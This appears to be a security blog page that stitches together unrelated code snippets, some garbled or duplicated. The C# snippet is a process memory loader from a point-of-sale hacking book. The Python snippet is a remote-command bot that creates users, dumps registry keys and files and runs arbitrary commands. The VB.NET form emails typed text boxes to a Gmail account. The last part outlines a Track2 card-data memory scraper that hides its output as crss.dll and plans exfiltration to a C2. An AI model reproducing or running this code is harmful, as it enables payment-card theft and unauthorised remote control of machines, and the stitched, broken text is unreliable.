Source: Slava Gomzin on "Hacking Point of Sale"
I. Loading Data from Memory a/k/a Process Memory Loader using System; using System.Collections.Generic; using System.Text; using System.Diagnostics; using System.Threading; using System.Runtime.InteropServices; namespace HackingPOS.Scrapers.MemoryScraper { public class ProcessMemoryLoader { private Process process = null; private IntPtr processHandler = IntPtr.Zero; const uint PROCESS_VM_READ = 0x0010; const uint PROCESS_VM_OPERATION = 0x0008; const uint PROCESS_VM_WRITE = 0x0020; [DllImport("kernel32.dll")] public static extern IntPtr OpenProcess(UInt32 dwDesiredAccess, Int32 bInheritHandle, UInt32 dwProcessId); [DllImport("kernel32.dll")] public static extern Int32 CloseHandle(IntPtr hObject); [DllImport("kernel32.dll")] public static extern Int32 ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [In, Out] byte[] buffer, UInt32 size, out IntPtr lpNumberOfBytesRead); public ProcessMemoryLoader() { } public void OpenProcess(Process process) { this.process = process; processHandler = OpenProcess(PROCESS_VM_READ | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, 1, (uint)process.Id); } public void CloseProcess() { try { CloseHandle(processHandler); } catch { } } public byte[] LoadMemory(IntPtr MemoryAddress, uint bytesToRead, out int bytesRead) { byte[] buffer = new byte[bytesToRead]; IntPtr ptrBytesRead; Int32 res = ReadProcessMemory(processHandler, MemoryAddress, buffer, bytesToRead, out ptrBytesRead); bytesRead = ptrBytesRead.ToInt32(); return buffer; } }
0 Comments
# Solution for Python for Security Professionals on Cybrary
# InfoMiner a/k/a Bot -> Server Connector # I. Server Python Program That Binds To Localhost:12345 import subprocess, socket, time, struct from _winreg import * def recv_data(sock): data_len, = struct.unpack("!I",sock.recv(4)) return sock.recv(data_len) def send_data(sock,data): data_len = len(data) sock.send(struct.pack("!I",data_len)) sock.send(data) return def create_user(name,pwd): subprocess.Popen("net user /add " + name + " " + pwd) return def delete_user(name): subprocess.Popen("net user /del " + name) return def download_registry_key(root, path, sock): subkey_list = list() value_dict = dict() root_dict = { "HKEY_CLASSES_ROOT":HKEY_CLASSES_ROOT , "HKEY_CURRENT_USER":HKEY_CURRENT_USER , "HKEY_LOCAL_MACHINE":HKEY_LOCAL_MACHINE , "HKEY_USERS":HKEY_USERS , "HKEY_CURRENT_CONFIG":HKEY_CURRENT_CONFIG} if root in root_dict: root = root_dict[root] else: print "INVALID ROOT KEY" return key_handle = CreateKey(root, path) subkeys,values,lastmodified = QueryInfoKey(key_handle) for i in range(subkeys): subkey_list.append(EnumKey(key_handle,i)) for i in range(values): key,value,last_mod = EnumValue(key_handle,i) value_dict[key] = value send_data(sock,"====================SUBKEYS====================") print "SENT" for i in subkey_list: send_data(sock,i) send_data(sock,"\n\n=====================VALUES====================") print "SENT" for i in value_dict: send_data(sock,i + " : " + str(value_dict[i])) send_data(sock,"DATA_COMPLETE") return def download_file(file_name,sock): f = file(file_name, "r") send_data(sock,f.read()) return def gather_information(log_name,sock): ''' Accounts (Password and account policy data) File (Indicates shared files or folders which are in use) localgroup(list of groups on a machine) session(Display information about sessions on a machine) share (lists all shares from the machine) user (lists users) view (list known computers in the domain) ''' cmd_list = ["net accounts", "net file", "net localgroup", "net session", "net share", "net user", "net view"] f = open(log_name, "w") for cmd in cmd_list: subprocess.Popen(cmd, 0, None, None, f) f.close() download_file(log_name,sock) return def execute_command(cmd): try: running_command = subprocess.Popen(cmd) except WindowsError: running_command = subprocess.Popen(cmd + ".com") subprocess.terminate(running_command) return def get_data(sock, str_to_send): send_data(sock, str_to_send) return recv_data(sock) def main(): listen_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) listen_sock.bind(('',12345)) listen_sock.listen(1) client_sock, client_data = listen_sock.accept() while True: cmd = get_data(client_sock, "COMMAND: ") if cmd == "CU": name = get_data(client_sock,"name: ") pwd = get_data(client_sock,"Password: ") create_user(name, pwd) elif cmd == "DU": name = get_data(client_sock,"Username: ") delete_user(name) elif cmd == "DRK": root = get_data(client_sock,"Root: ") path = get_data(client_sock,"Path: ") download_registry_key(root,path,client_sock) elif cmd == "DF": name = get_data(client_sock,"Filename: ") download_file(name) elif cmd == "GI": name = get_data(client_sock,"Log Name: ") gather_information(name,client_sock) elif cmd == "EC": cmd = get_data(client_sock,"Command to execute: ") execute_command(cmd) return main() #This is my solution for University of Michigan's challenge on Python CRUD (Create, Read, Update, #Delete) SQL Database
import sqlite3 conn = sqlite3.connect('emaildb.sqlite') cur = conn.cursor() cur.execute('''DROP TABLE IF EXISTS Counts''') cur.execute('''CREATE TABLE Counts (org TEXT, count INTEGER)''') fname = raw_input('Enter file name: ') if ( len(fname) < 1 ) : fname = 'mbox-short.txt' fh = open(fname) for line in fh: if not line.startswith('From: ') : continue pieces = line.split() email = pieces[1] oemail = email.split('@') cemail = oemail[1] print(cemail) cur.execute('SELECT count FROM Counts WHERE org = ? ', (cemail, )) row = cur.fetchone() if row is None: cur.execute('''INSERT INTO Counts (org, count) VALUES ( ?, 1 )''', ( cemail, ) ) else : cur.execute('UPDATE Counts SET count=count+1 WHERE org = ?', (cemail, )) # This statement commits outstanding changes to disk each # time through the loop - the program can be made faster # by moving the commit so it runs only after the loop completes conn.commit() # https://www.sqlite.org/lang_select.html sqlstr = 'SELECT org, count FROM Counts ORDER BY count DESC LIMIT 10' print "Counts:" for row in cur.execute(sqlstr) : print str(row[0]), row[1] cur.close() Imports System.Net.Mail
Public Class Form1 Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load End Sub Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click Dim MyMailMessage As New MailMessage() Try MyMailMessage.From = New MailAddress(Imports System.Net.Mail Public Class Form1 Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load End Sub Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click Dim MyMailMessage As New MailMessage() Try MyMailMessage.From = New MailAddress(GMAIL ACCOUNT) MyMailMessage.To.Add(GMAIL ACCOUNT) MyMailMessage.Subject = "_______" MyMailMessage.Body = "______ " & TextBox1.Text & "_______" & TextBox2.Text Dim SMTP As New SmtpClient("smtp.gmail.com") SMTP.Port = 587 SMTP.EnableSsl = True SMTP.Credentials = New System.Net.NetworkCredential(GMAIL ACCOUNT, GMAIL PASSWORD) SMTP.Send(MyMailMessage) Catch ex As Exception End Try End Sub End Class // https://msdn.microsoft.com/en-us/library/windows/desktop/ff381409(v=vs.85).aspx // Lesson I by Vitali Kremez #include <windows.h>
#include <stdlib.h> #include <string.h> #include <tchar.h> // Just as every C application and C++ application must have a main function as its starting point, every Win32-based application must have a WinMain function. WinMain has the following syntax. int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow); // In addition to the WinMain function, every Windows desktop application must also have a window-procedure function. This function is typically named WndProc. WndProc has the following syntax. LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM); // TO ADD FUNCTIONALITY TO THE WINMAIN FUNCTION // 1. In the WinMain function, create a window class structure of type WNDCLASSEX.This structure contains information about the window, for example, the application icon, the background color of the window, the name to display in the title bar, the name of the window procedure function, and so on.The following example shows a typical WNDCLASSEX structure. WNDCLASSEX wcex; wcex.cbSize = sizeof(WNDCLASSEX); wcex.style = CS_HREDRAW | CS_VREDRAW; wcex.lpfnWndProc = WndProc; wcex.cbClsExtra = 0; wcex.cbWndExtra = 0; wcex.hInstance = hInstance; wcex.hIcon = LoadIcon(hInstance, MAKEINTRESOURCE(IDI_APPLICATION)); wcex.hCursor = LoadCursor(NULL, IDC_ARROW); wcex.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1); wcex.lpszMenuName = NULL; wcex.lpszClassName = szWindowClass; wcex.hIconSm = LoadIcon(wcex.hInstance, MAKEINTRESOURCE(IDI_APPLICATION)); // For information about the fields of this structure, see WNDCLASSEX. // 2. Now that you have created a window class, you must register it.Use the RegisterClassEx function and pass the window class structure as an argument. if (!RegisterClassEx(&wcex)) { MessageBox(NULL, _T("Call to RegisterClassEx failed!"), _T("Win32 Guided Tour"), NULL); return 1; } Malware Analysis: Dump Scraper Implementation in Python Using winappdbg, getpass, re, sys
Method of Operation of Scanning explorer.exe for Dump Data: (1) Show the Windows version and the current architecture (from winappdbg (System.os, System.arch, System.bits)) (2) Create a snapshot of running processes (from winappdbg.System (request_debug_privileges(), scan_processes()) (3) Obtain local username (from getpass.getuser()) (4) Create a writeable file in Application Data Dump_Writer = open('C:\\Documents and Settings\\'+UserName+'\\Application Data\\\\crss.dll', 'w+') (5) Obtain all processes that match the requested filenames. # Elevate privileges system.request_debug_privileges() system.scan_processes() for process, filename in system.find_processes_by_filename("explorer.exe"): pid = process.get_pid() bits = process.get_bits() print pid, bits (6) Get a memory map of the process. memoryMap = process.get_memory_map() mappedFilenames = process.get_mapped_filenames(memoryMap) (7) For each memory block in the map read address and size of memory blocks, its state (free or allocated), page protection bits (looking for win32.MEM_COMMIT), and its memory type (8) Read the data from memory if mbi.has_content() and mbi.State == win32.MEM_COMMIT Data = process.read(BaseAddress, RegionSize) (9) Implement a simple Regular Expression looking for Track2 data Dump_Regex = re.findall(r'%B\d{0,19}\^[\w\s\/]{2,26}\^\d{7}\w*\?', Data) Dump_Data.append(Dump_Regex) (10) Beatufy the extracted dump data (11) Write dump data into crss.dll Missing features are as follows: (1) Add Registry Persistence (2) Encode Saved Data (3) Add Luhn Algorithm (4) Create a process for this algorithm (5) Send data to email/C2 |
AuthorVitali Kremez Archives
January 2016
Categories |